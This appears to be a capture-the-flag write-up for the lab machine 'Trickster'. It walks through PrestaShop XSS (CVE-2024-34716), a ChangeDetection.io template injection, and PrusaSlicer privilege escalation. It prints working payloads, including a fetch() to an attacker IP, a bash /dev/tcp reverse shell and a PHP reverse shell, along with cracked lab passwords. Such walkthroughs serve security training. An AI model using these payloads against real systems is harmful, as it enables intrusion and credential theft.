Trickster
Trickster
Difficulty: Medium
Synopsis
Trickster is a medium-difficulty Linux machine featuring a PrestaShop application vulnerable to
CVE-2024-34716. Exploiting this vulnerability grants access to the remote server as the www-data
user. Further enumeration reveals PrestaShop configuration files containing database credentials,
allowing us to dump and crack password hashes to obtain the password for user james . We can
then SSH into the server as james . A Docker container running ChangeDetection.io is also
present, vulnerable to CVE-2024-32651, which can be exploited to gain a root shell inside the
container. Inside the container, backup files from ChangeDetection.io reveal the password for user
adam , which allows SSH access as adam . Finally, privilege escalation to root is achieved by
exploiting CVE-2023-47268 in the PrusaSlicer tool.
Skills required
Linux Fundamentals
Password Cracking
Skills learned
Reviewing configuration files
PrusaSlicer Exploitation
Enumeration
Nmap
Let's run an Nmap scan to discover any open ports on the remote host.
An initial Nmap scan reveals an SSH service on port 22 and an Apache server on port 80 .
HTTP
Upon browsing to port 80 , we are redirected to the domain trickster.htb .
Let's add an entry for trickster.htb in our /etc/hosts file with the corresponding IP address
to resolve the domain names and allow us to access it in our browser.
echo "10.10.11.34 `trickster.htb`" | sudo tee -a /etc/hosts
Upon visiting trickster.htb in the browser, we are greeted with the landing page of
TRICKSTER.HTB . The site provides an online shopping experience. There is a hyperlink to
shop.trickster.htb , which leads to the online shop.
Thus, let's also add an entry for shop.trickster.htb in our /etc/hosts file.
Further enumeration leads us to the web page's footer, which reveals that the application is built
using PrestaShop .
What is PrestaShop?
PrestaShop is a free, open-source e-commerce platform that allows users to create and
manage online stores. It offers a range of customizable features, themes, and plugins to
support businesses in setting up and running their online shops efficiently.
We can also visit the /robots.txt directory, which is a file used by websites to provide
instructions to web crawlers about which parts of the site should not be indexed. By inspecting
this file, we can discover potentially sensitive or restricted endpoints that are disallowed for search
engines but may still be accessible. In this case, we find that the /.git endpoint is disallowed,
which could indicate the presence of a Git repository accessible on the server.
Upon visiting http://shop.trickster.htb/.git , we can confirm that it provides access to the Git
repository of the shop.trickster.htb application.
This repository may contain the application's source code, configuration files, or other sensitive
information, which could be leveraged to gain further insights into the application's functionality
or discover vulnerabilities. We can use the git-dumper utility to download the repository locally
and review the source code.
The directory listing of the repository reveals a folder named admin634ewutrx1jgitlooaj , which
appears to be the admin directory. The unique naming suggests it might be an attempt to obscure
or secure the admin panel's location.
$ ls -l shop.trickster.htb
total 212
-rw-r--r-- 1 root root 5054 Jan 29 03:15 INSTALL.txt
-rw-r--r-- 1 root root 522 Jan 29 03:15 Install_PrestaShop.html
-rw-r--r-- 1 root root 183862 Jan 29 03:15 LICENSES
-rw-r--r-- 1 root root 863 Jan 29 03:15 Makefile
drwxr-xr-x 8 root root 380 Jan 29 03:15 admin634ewutrx1jgitlooaj
-rw-r--r-- 1 root root 1305 Jan 29 03:15 autoload.php
-rw-r--r-- 1 root root 2506 Jan 29 03:15 error500.html
-rw-r--r-- 1 root root 1169 Jan 29 03:15 index.php
-rw-r--r-- 1 root root 1256 Jan 29 03:15 init.php
Upon running a Google search for exploits available for PrestaShop version 8.1.5, we discovered
that PrestaShop v8.1.5 is vulnerable to CVE-2024-34716. It is a cross-site scripting (XSS)
vulnerability that affects PrestaShops versions starting from 8.1.0 and before 8.1.6.
When the customer thread feature flag is enabled via the frontend contact form, an attacker can
exploit it to upload a malicious file containing an XSS payload. This payload is triggered when an
admin accesses the attached file in the backend. The injected script can then access the admin's
session and security token, enabling the attacker to perform any authenticated actions within the
scope of the administrator's privileges.
This blog post provides a detailed guide on exploiting the vulnerability, along with a PoC. It
explains that we need to upload a PNG image containing malicious embedded HTML/JavaScript
code to the /contact-us page and wait for the admin to click on the attachment to trigger an XSS.
Let's create a malicious PNG file named attack.png that contains a payload designed to send a
GET request to our listener.
$ cat attack.png
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Exploit</title>
</head>
<body>
<img src=x onerror=fetch('http://YOUR_IP/pwn/');>
</body>
</html>
nc -nvlp 80
Then go to the Contact Us form and send a message with the attached malicious attack.png
file.
This verifies that the application is vulnerable to CVE-2024-34716. Let us now use the attached PoC
in the blog to obtain a reverse shell. Clone the PoC Github repository.
Make the necessary changes to the exploit.html file, like changing all instances of the admin
directory from /admin-dev to /admin634ewutrx1jgitlooaj and the website URL from
http://prestashop:8000 to http://shop.trickster.htb .
Additionally, we will need to replace the URL on line 79 with the address of our local server where
the theme file is hosted.
To create the malicious theme, we can modify the existing theme file in the repository. First, create
a new directory and unzip the current theme file into it.
mkdir theme_attack
cp ps_next_8_theme_malicious.zip theme_attack
cd theme_attack
unzip ps_next_8_theme_malicious.zip && rm ps_next_8_theme_malicious.zip
total 8288
drwxr-xr-x 5 root root 4096 Mar 9 2023 _dev
-rw-r--r-- 1 root root 5490 Sep 26 17:12 a.php
drwxr-xr-x 7 root root 4096 Mar 9 2023 assets
drwxr-xr-x 2 root root 4096 Sep 10 19:16 config
drwxr-xr-x 3 root root 4096 Mar 9 2023 dependencies
drwxr-xr-x 36 root root 4096 Mar 9 2023 modules
-rw-r--r-- 1 root root 905111 Mar 9 2023 preview.png
drwxr-xr-x 9 root root 4096 Mar 9 2023 templates
Next, edit the a.php file, which contains a PHP reverse shell, and insert the IP address of our host
along with the listener port number. Let's now zip the malicious theme. When creating the zip file,
ensure that you include the .htaccess file, as it will enforce and allow access to the directory
where we host our reverse shell PHP.
Note
It will be required to update the name of the malicious theme in the exploit.html file if it's
been changed.
Now, we set up the Python HTTP server on port 80 as specified in the exploit.html file so the
theme can be fetched by the remote server.
python3 -m http.server 80
$ python3 exploit.py
After about a minute, we receive a call back on our Python server, and we can see the uploaded
files upon navigating to the theme's directory at /themes/next .
Start a Netcat listener on port 1337 .
nc -nvlp 1337
As soon as we click on the a.php file, we receive a shell on our listener as user www-data .
Lateral Movement
We can find the PrestaShop config file at /var/www/prestashop/app/config/parameters.php ,
which reveals the database credentials.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
We can see that there is a prestashop database present, so let's select it.
Database changed
We can crack the password hash for user james using JohnTheRipper.
$ cat james_hash
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
We can try to log in via SSH as user james using the obtained password alwaysandforever .
$ ssh [email protected]
[email protected]'s password:
james@trickster:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
cat /home/james/user.txt
Listing the network interfaces reveals the presence of a Docker network, indicating the probable
existence of Docker containers running within this network.
james@trickster:~$ ifconfig
Thus, let's download the Nmap binary on our local machine and transfer it via a Python server to
the remote host.
$ wget https://github.com/andrew-d/static-
binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap
Fetch the Nmap binary on the remote host and assign it executable permissions.
Let's run a Nmap scan over the entire docker network subnet.
The scan discovered that port 5000 is open on host 172.17.0.2 . Thus, let's forward port
172.17.0.2:5000 to our local machine.
What is ChangeDetection.io?
As per the PoC provided here, we need to create a new Notification with our malicious SSTI
payload in the Notification Body and our host's IP address in the Notification URL List . As
mentioned on the page itself, we can leverage the get:// protocol to interact with the application
by adding our IP address to the Notification URL List .
get://YOUR_IP
We can add the following SSTI payload to the Notification Body to obtain a reverse shell.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo
"#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/1337 0>&1" > /tmp/shell.sh && /bin/bash
/tmp/shell.sh').read() }}
After filling in the relevant fields, save the changes and then return to Settings ->
Notifications .
$ nc -nvlp 1337
Now, when we click on Send test notification , our payload is executed, and we receive a call
back on our listener.
$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.30.160] 37282
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a4b9a36ae7ff:/app# id
uid=0(root) gid=0(root) groups=0(root)
root@a4b9a36ae7ff:/# ls /
app boot dev home lib64 mnt proc run srv tmp var
bin datastore etc lib media opt root sbin sys usr
root@a4b9a36ae7ff:/# ls -l /datastore
total 40
drwxr-xr-x 2 root root 4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root 4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root 4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root 64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root 155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root 73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 14192 Jan 28 20:06 url-watches.json
In ChangeDetection.io, a "watch" refers to a web page or resource that the user has set up for
monitoring. The application periodically checks the watched pages for any changes and notifies
the user when updates are detected. ChangeDetection.io provides a backup feature for saved
watches. These backups are stored within the /datastore/ directory inside the Docker container.
root@a4b9a36ae7ff:/datastore# ls -l Backups/
total 44
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-
20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-
20240830202524.zip
We can download these backup ZIP files by using python3 -m http.server . Since the Docker
container cannot directly access our attacker's machine, we can first download the backups from
James's session and then transfer the ZIP files via SSH as usual.
Upon unzipping the backups, we found that one of the old watches tracked file changes for
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php .
$ ls -l changedetection-backup-20240830194841
total 32
drwxrwxr-x 2 dotguy dotguy 4096 Jan 29 06:43 b4a8b52d-651b-44bc-bbc6-
f9e8c6590103
-rw-r--r-- 1 dotguy dotguy 64 May 24 2024 secret.txt
-rw-r--r-- 1 dotguy dotguy 115 Aug 31 14:21 url-list-with-tags.txt
-rw-r--r-- 1 dotguy dotguy 74 Aug 31 14:22 url-list.txt
-rw-r--r-- 1 dotguy dotguy 13691 Aug 31 14:22 url-watches.json
$ cat changedetection-backup-20240830194841/url-list.txt
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php
This file serves as the configuration file for the PrestaShop application store. Moreover, the files
linked to the watch ID b4a8b52d-651b-44bc-bbc6-f9e8c6590103 have a .txt.br extension,
which prevents them from being read as plain text.
$ ls -l changedetection-backup-20240830194841/b4a8b52d-651b-44bc-bbc6-
f9e8c6590103
total 20
-rw-r--r-- 1 dotguy dotguy 2605 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt.br
-rw-r--r-- 1 dotguy dotguy 51 Aug 31 05:17 history.txt
The .txt.br file extension indicates that the file is compressed using the Brotli compression
algorithm. Brotli is a compression format developed by Google that is primarily used for web
content to reduce file sizes and improve web page loading times. It's not an encryption method, so
files with the .br extension are not encrypted but are simply compressed. Brotli files can not
used with strings or cat tools to read the content of these files, so to access its content, we will
need to decompress it using a tool that supports Brotli compression. We can use Brotli for
this purpose and install it using the following command.
$ ls -l changedetection-backup-20240830194841/b4a8b52d-651b-44bc-bbc6-
f9e8c6590103
total 20
-rw-r--r-- 1 dotguy dotguy 11866 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt
-rw-r--r-- 1 dotguy dotguy 2605 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt.br
-rw-r--r-- 1 dotguy dotguy 51 Aug 31 05:17 history.txt
With the file now in plaintext, we can access the configuration to discover Adam's password.
$ cat f04f0732f120c0cc84a993ad99decb2c.txt | head -n 50
james/prestashop
'database_host' => '127.0.0.1' ,
'database_port' => '' ,
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
'database_prefix' => 'ps_' ,
'database_engine' => 'InnoDB' ,
We can use the obtained password to log in as user Adam via SSH.
$ ssh [email protected]
[email protected]'s password:
adam@trickster:~$ id
uid=1002(adam) gid=1002(adam) groups=1002(adam)
Privilege Escalation
Checking the sudo permissions reveals that user Adam has the privilege to execute
/opt/PrusaSlicer/prusaslicer with root privileges.
adam@trickster:~$ sudo -l
What is PrusaSlicer?
Directory listing of /opt/PrusaSlicer shows that it contains the prusaslicer binary and a file
called TRICKSTER.3mf . 3mf files are a 3D printing project format that stores detailed model data,
including materials, colors, and textures.
adam@trickster:/opt/PrusaSlicer$ ls -l /opt/PrusaSlicer/
total 82188
-rwxr-xr-x 1 root root 84018368 Sep 6 2023 prusaslicer
-rw-r--r-- 1 root root 138526 May 23 2024 TRICKSTER.3mf
Upon executing the prusaslicer binary, we can see its version as 2.6.1 and a message saying
Display not set, GUI mode not available , which is expected as we are dealing with a Ubuntu
server install.
adam@trickster:/opt/PrusaSlicer$ ./prusaslicer
A Google search reveals that PrusaSlicer 2.6.1 is vulnerable to CVE-2023-47268, which can
execute arbitrary code during a G-code export. The vulnerability targets the post-processing script
setting in the project, allowing a malicious user to create a harmful .3MF project. When the target
user exports G-code from this malicious project, arbitrary code can be executed. Thus, let's copy
over the two files locally for further examination. Set up the Python HTTP server on the remote
host.
wget 10.10.11.34:8001/prusaslicer
wget 10.10.11.34:8001/TRICKSTER.3mf
Running ./prusaslicer on our local machine opens a graphical interface (GUI) where we can
load the TRICKSTER.3mf project.
Then, activate expert mode to access the G-code script.
Next, navigate to Print Settings > Output options > Post-Processing scripts and enter
/bin/bash #; in the field.
Note -
The following error may be encountered when trying to run PrusaSlicer on this project.
The error message indicates that there is a problem with the output filename format in
PrusaSlicer. The issue is due to a non-integer index being used to address a vector variable.
To fix this, we can either change the template to use a direct value or remove the
problematic part.
{input_filename_base}_{layer_height}mm_{printing_filament_types}_{printer_mo
del}_{print_time}.gcode
Save the project as pwn.3mf and then fetch it over to the remote host.
adam@trickster:/tmp$ wget 10.10.14.73/pwn.3mf
pwn.3mf 100%[================================================>]
133.92K 229KB/s in 0.6s
(229 KB/s) - ‘pwn.3mf’ saved [137129/137129]
To trigger the payload within the pwn.3mf project, run the PrusaSlicer tool from the command line
with the -s (slicing) flag, which will begin executing the malicious code.
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt